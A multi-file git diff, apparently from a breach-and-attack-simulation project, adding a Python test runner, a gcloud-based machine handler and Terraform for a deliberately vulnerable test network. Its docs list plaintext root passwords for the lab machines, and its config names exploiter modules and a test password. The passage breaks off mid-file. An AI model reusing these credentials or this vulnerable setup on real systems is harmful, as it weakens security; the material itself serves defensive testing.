LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2)))
|
||||
self.island_client.import_config(self.config_parser.config_raw)
|
||||
self.print_test_starting_info()
|
||||
try:
|
||||
self.island_client.run_monkey_local()
|
||||
self.test_until_timeout()
|
||||
finally:
|
||||
self.island_client.kill_all_monkeys()
|
||||
self.wait_until_monkeys_die()
|
||||
self.wait_for_monkey_process_to_finish()
|
||||
self.parse_logs()
|
||||
self.island_client.reset_env()
|
||||
|
||||
def print_test_starting_info(self):
|
||||
LOGGER.info("Started {} test".format(self.name))
|
||||
LOGGER.info("Machines participating in test:")
|
||||
LOGGER.info(" ".join(self.config_parser.get_ips_of_targets()))
|
||||
print("")
|
||||
|
||||
def test_until_timeout(self):
|
||||
timer = TestTimer(self.timeout)
|
||||
while not timer.is_timed_out():
|
||||
if self.all_analyzers_pass():
|
||||
self.log_success(timer)
|
||||
return
|
||||
sleep(DELAY_BETWEEN_ANALYSIS)
|
||||
LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
|
||||
self.log_failure(timer)
|
||||
assert False
|
||||
|
||||
def log_success(self, timer):
|
||||
LOGGER.info(self.get_analyzer_logs())
|
||||
LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
|
||||
|
||||
def log_failure(self, timer):
|
||||
LOGGER.info(self.get_analyzer_logs())
|
||||
LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
|
||||
timer.get_time_taken()))
|
||||
|
||||
def all_analyzers_pass(self):
|
||||
for analyzer in self.analyzers:
|
||||
if not analyzer.analyze_test_results():
|
||||
return False
|
||||
return True
|
||||
|
||||
def get_analyzer_logs(self):
|
||||
log = ""
|
||||
for analyzer in self.analyzers:
|
||||
log += "\n" + analyzer.log.get_contents()
|
||||
return log
|
||||
|
||||
def wait_until_monkeys_die(self):
|
||||
time_passed = 0
|
||||
while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
|
||||
sleep(WAIT_TIME_BETWEEN_REQUESTS)
|
||||
time_passed += WAIT_TIME_BETWEEN_REQUESTS
|
||||
LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
|
||||
if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE:
|
||||
LOGGER.error("Some monkeys didn't die after the test, failing")
|
||||
assert False
|
||||
|
||||
def parse_logs(self):
|
||||
LOGGER.info("Parsing test logs:")
|
||||
self.log_handler.parse_test_logs()
|
||||
|
||||
@staticmethod
|
||||
def wait_for_monkey_process_to_finish():
|
||||
"""
|
||||
There is a time period when monkey is set to dead, but the process is still closing.
|
||||
If we try to launch monkey during that time window monkey will fail to start, that's
|
||||
why test needs to wait a bit even after all monkeys are dead.
|
||||
"""
|
||||
sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH)
|
|
@ -0,0 +1,54 @@
|
|||
import subprocess
|
||||
|
||||
import logging
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class GCPHandler(object):
|
||||
|
||||
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
|
||||
SET_PROPERTY_PROJECT = "gcloud config set project %s"
|
||||
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
|
||||
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
|
||||
|
||||
def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"):
|
||||
self.zone = zone
|
||||
try:
|
||||
# pass the key file to gcp
|
||||
subprocess.call(GCPHandler.get_auth_command(key_path), shell=True)
|
||||
LOGGER.info("GCP Handler passed key")
|
||||
# set project
|
||||
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True)
|
||||
LOGGER.info("GCP Handler set project")
|
||||
LOGGER.info("GCP Handler initialized successfully")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to initialize: %s." % e)
|
||||
|
||||
def start_machines(self, machine_list):
|
||||
"""
|
||||
Start all the machines in the list.
|
||||
:param machine_list: A space-separated string with all the machine names. Example:
|
||||
start_machines(`" ".join(["elastic-3", "mssql-16"])`)
|
||||
"""
|
||||
LOGGER.info("Setting up all GCP machines...")
|
||||
try:
|
||||
subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True)
|
||||
LOGGER.info("GCP machines successfully started.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
|
||||
|
||||
def stop_machines(self, machine_list):
|
||||
try:
|
||||
subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True)
|
||||
LOGGER.info("GCP machines stopped successfully.")
|
||||
except Exception as e:
|
||||
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
|
||||
|
||||
@staticmethod
|
||||
def get_auth_command(key_path):
|
||||
return GCPHandler.AUTHENTICATION_COMMAND % key_path
|
||||
|
||||
@staticmethod
|
||||
def get_set_project_command(project):
|
||||
return GCPHandler.SET_PROPERTY_PROJECT % project
|
|
@ -0,0 +1,9 @@
|
|||
import json
|
||||
from bson import ObjectId
|
||||
|
||||
|
||||
class MongoQueryJSONEncoder(json.JSONEncoder):
|
||||
def default(self, o):
|
||||
if isinstance(o, ObjectId):
|
||||
return str(o)
|
||||
return json.JSONEncoder.default(self, o)
|
|
@ -0,0 +1,17 @@
|
|||
from time import time
|
||||
|
||||
|
||||
class TestTimer(object):
|
||||
def __init__(self, timeout):
|
||||
self.timeout_time = TestTimer.get_timeout_time(timeout)
|
||||
self.start_time = time()
|
||||
|
||||
def is_timed_out(self):
|
||||
return time() > self.timeout_time
|
||||
|
||||
def get_time_taken(self):
|
||||
return time() - self.start_time
|
||||
|
||||
@staticmethod
|
||||
def get_timeout_time(timeout):
|
||||
return time() + timeout
|
|
@ -62,7 +62,6 @@
|
|||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
|
@ -79,9 +78,6 @@
|
|||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
|
|
|
@ -58,7 +58,7 @@ Requirements:
|
|||
To deploy:
|
||||
1. Configure service account for your project:
|
||||
|
||||
a. Create a service account and name it “your\_name-monkeyZoo-user”
|
||||
a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
|
||||
|
||||
b. Give these permissions to your service account:
|
||||
|
||||
|
@ -74,7 +74,7 @@ To deploy:
|
|||
|
||||
**Project -> Owner**
|
||||
|
||||
c. Download its **Service account key**. Select JSON format.
|
||||
c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
|
||||
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
|
||||
|
||||
a. **Compute Engine -\> Compute image user**
|
||||
|
@ -82,20 +82,30 @@ To deploy:
|
|||
../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
|
||||
link to your service account key file):
|
||||
|
||||
> provider "google" {
|
||||
>
|
||||
> project = "project-28054666"
|
||||
>
|
||||
> region = "europe-west3"
|
||||
>
|
||||
> zone = "europe-west3-b"
|
||||
>
|
||||
> credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
|
||||
>
|
||||
> }
|
||||
>
|
||||
> service\_account\_email="test@project-925243.iam.gserviceaccount.com"
|
||||
|
||||
provider "google" {
|
||||
|
||||
project = "test-000000" // Change to your project id
|
||||
|
||||
region = "europe-west3" // Change to your desired region or leave default
|
||||
|
||||
zone = "europe-west3-b" // Change to your desired zone or leave default
|
||||
|
||||
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
|
||||
// If you followed instruction above leave it as is
|
||||
|
||||
}
|
||||
|
||||
locals {
|
||||
|
||||
resource_prefix = "" // All of the resources will have this prefix.
|
||||
// Only change if you want to have multiple zoo's in the same project
|
||||
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
|
||||
|
||||
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
|
||||
|
||||
}
|
||||
|
||||
4. Run terraform init
|
||||
|
||||
To deploy the network run:<br>
|
||||
|
@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
|
||||
<p>(10.2.0.11)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>OpenSSL</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>22</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Root password:</td>
|
||||
<td>3Q=(Ge(+&w]*</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>Default</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>2}p}aR]&=M</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Scan results:</td>
|
||||
<td>Machine exploited using RDP grinder</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Remote desktop enabled</p>
|
||||
<p>Admin user’s credentials:</p>
|
||||
<p>m0nk3y, 2}p}aR]&=M</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
|
@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Has cashed mimikatz-15 RDP credentials</p>
|
||||
<td><p>Has cached mimikatz-15 RDP credentials</p>
|
||||
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
# Ignore everything in this directory
|
||||
*
|
||||
# Except this file
|
||||
!.gitignore
|
|
@ -2,9 +2,10 @@ provider "google" {
|
|||
project = "test-000000"
|
||||
region = "europe-west3"
|
||||
zone = "europe-west3-b"
|
||||
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
|
||||
credentials = "${file("../gcp_keys/gcp_key.json")}"
|
||||
}
|
||||
locals {
|
||||
resource_prefix = ""
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
|
||||
monkeyzoo_project="guardicore-22050661"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
resource "google_compute_firewall" "islands-in" {
|
||||
name = "islands-in"
|
||||
name = "${local.resource_prefix}islands-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
|
|||
}
|
||||
|
||||
resource "google_compute_firewall" "islands-out" {
|
||||
name = "islands-out"
|
||||
name = "${local.resource_prefix}islands-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
|
|||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-in" {
|
||||
name = "monkeyzoo-in"
|
||||
name = "${local.resource_prefix}monkeyzoo-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
|
|||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
source_ranges = ["10.2.2.0/24"]
|
||||
source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-out" {
|
||||
name = "monkeyzoo-out"
|
||||
name = "${local.resource_prefix}monkeyzoo-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
|
@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
|
|||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
destination_ranges = ["10.2.2.0/24"]
|
||||
destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-in" {
|
||||
name = "tunneling-in"
|
||||
name = "${local.resource_prefix}tunneling-in"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
|
@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
|
|||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/28"]
|
||||
source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-out" {
|
||||
name = "tunneling-out"
|
||||
name = "${local.resource_prefix}tunneling-out"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
|
@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
|
|||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/28"]
|
||||
destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
||||
}
|
||||
resource "google_compute_firewall" "tunneling2-in" {
|
||||
name = "${local.resource_prefix}tunneling2-in"
|
||||
network = "${google_compute_network.tunneling2.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/27"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling2-out" {
|
||||
name = "${local.resource_prefix}tunneling2-out"
|
||||
network = "${google_compute_network.tunneling2.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/27"]
|
||||
}
|
||||
|
|
|
@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-9" {
|
||||
name = "tunneling-9-v2"
|
||||
name = "tunneling-9"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-10" {
|
||||
name = "tunneling-10-v2"
|
||||
name = "tunneling-10"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-11" {
|
||||
name = "tunneling-11"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-11" {
|
||||
name = "sshkeys-11-v2"
|
||||
name = "sshkeys-11"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-12" {
|
||||
name = "sshkeys-12-v2"
|
||||
name = "sshkeys-12"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-14" {
|
||||
name = "mimikatz-14-v2"
|
||||
name = "mimikatz-14"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-15" {
|
||||
|
@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-19" {
|
||||
name = "weblogic-19-v2"
|
||||
name = "weblogic-19"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "smb-20" {
|
||||
|
@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
|
|||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-24" {
|
||||
name = "struts-24-v2"
|
||||
name = "struts2-24"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-linux-250" {
|
||||
|
@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
|
|||
data "google_compute_image" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
}
|
||||
|
|
|
@ -6,29 +6,40 @@ locals {
|
|||
}
|
||||
|
||||
resource "google_compute_network" "monkeyzoo" {
|
||||
name = "monkeyzoo"
|
||||
name = "${local.resource_prefix}monkeyzoo"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling" {
|
||||
name = "tunneling"
|
||||
name = "${local.resource_prefix}tunneling"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling2" {
|
||||
name = "${local.resource_prefix}tunneling2"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "monkeyzoo-main" {
|
||||
name = "monkeyzoo-main"
|
||||
name = "${local.resource_prefix}monkeyzoo-main"
|
||||
ip_cidr_range = "10.2.2.0/24"
|
||||
network = "${google_compute_network.monkeyzoo.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling-main" {
|
||||
name = "tunneling-main"
|
||||
name = "${local.resource_prefix}tunneling-main"
|
||||
ip_cidr_range = "10.2.1.0/28"
|
||||
network = "${google_compute_network.tunneling.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling2-main" {
|
||||
name = "${local.resource_prefix}tunneling2-main"
|
||||
ip_cidr_range = "10.2.0.0/27"
|
||||
network = "${google_compute_network.tunneling2.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
name = "${local.resource_prefix}hadoop-2"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.2"
|
||||
}
|
||||
// Add required ssh keys for hadoop service and restart it
|
||||
|
@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
name = "${local.resource_prefix}hadoop-3"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.3"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
name = "${local.resource_prefix}elastic-4"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
name = "${local.resource_prefix}elastic-5"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.5"
|
||||
}
|
||||
}
|
||||
|
||||
/* Couldn't find ubuntu packages for required samba version (too old).
|
||||
resource "google_compute_instance_from_template" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
name = "${local.resource_prefix}sambacry-6"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.6"
|
||||
}
|
||||
}
|
||||
|
@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
|
|||
|
||||
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
|
||||
resource "google_compute_instance_from_template" "sambacry-7" {
|
||||
name = "sambacry-7"
|
||||
name = "${local.resource_prefix}sambacry-7"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk {
|
||||
initialize_params {
|
||||
|
@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.7"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
name = "${local.resource_prefix}shellshock-8"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.8"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-9" {
|
||||
name = "tunneling-9"
|
||||
name = "${local.resource_prefix}tunneling-9"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
subnetwork="${local.resource_prefix}tunneling-main"
|
||||
network_ip="10.2.1.9"
|
||||
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.9"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-10" {
|
||||
name = "tunneling-10"
|
||||
name = "${local.resource_prefix}tunneling-10"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
subnetwork="${local.resource_prefix}tunneling-main"
|
||||
network_ip="10.2.1.10"
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="${local.resource_prefix}tunneling2-main"
|
||||
network_ip="10.2.0.10"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-11" {
|
||||
name = "${local.resource_prefix}tunneling-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-11.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="${local.resource_prefix}tunneling2-main"
|
||||
network_ip="10.2.0.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-11" {
|
||||
name = "sshkeys-11"
|
||||
name = "${local.resource_prefix}sshkeys-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-12" {
|
||||
name = "sshkeys-12"
|
||||
name = "${local.resource_prefix}sshkeys-12"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.12"
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
||||
name = "rdpgrinder-13"
|
||||
name = "${local.resource_prefix}rdpgrinder-13"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.13"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-14" {
|
||||
name = "mimikatz-14"
|
||||
name = "${local.resource_prefix}mimikatz-14"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.14"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
name = "${local.resource_prefix}mimikatz-15"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.15"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
name = "${local.resource_prefix}mssql-16"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.16"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "upgrader-17"
|
||||
name = "${local.resource_prefix}upgrader-17"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
|
|||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.17"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
|
@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
|
|||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-18" {
|
||||
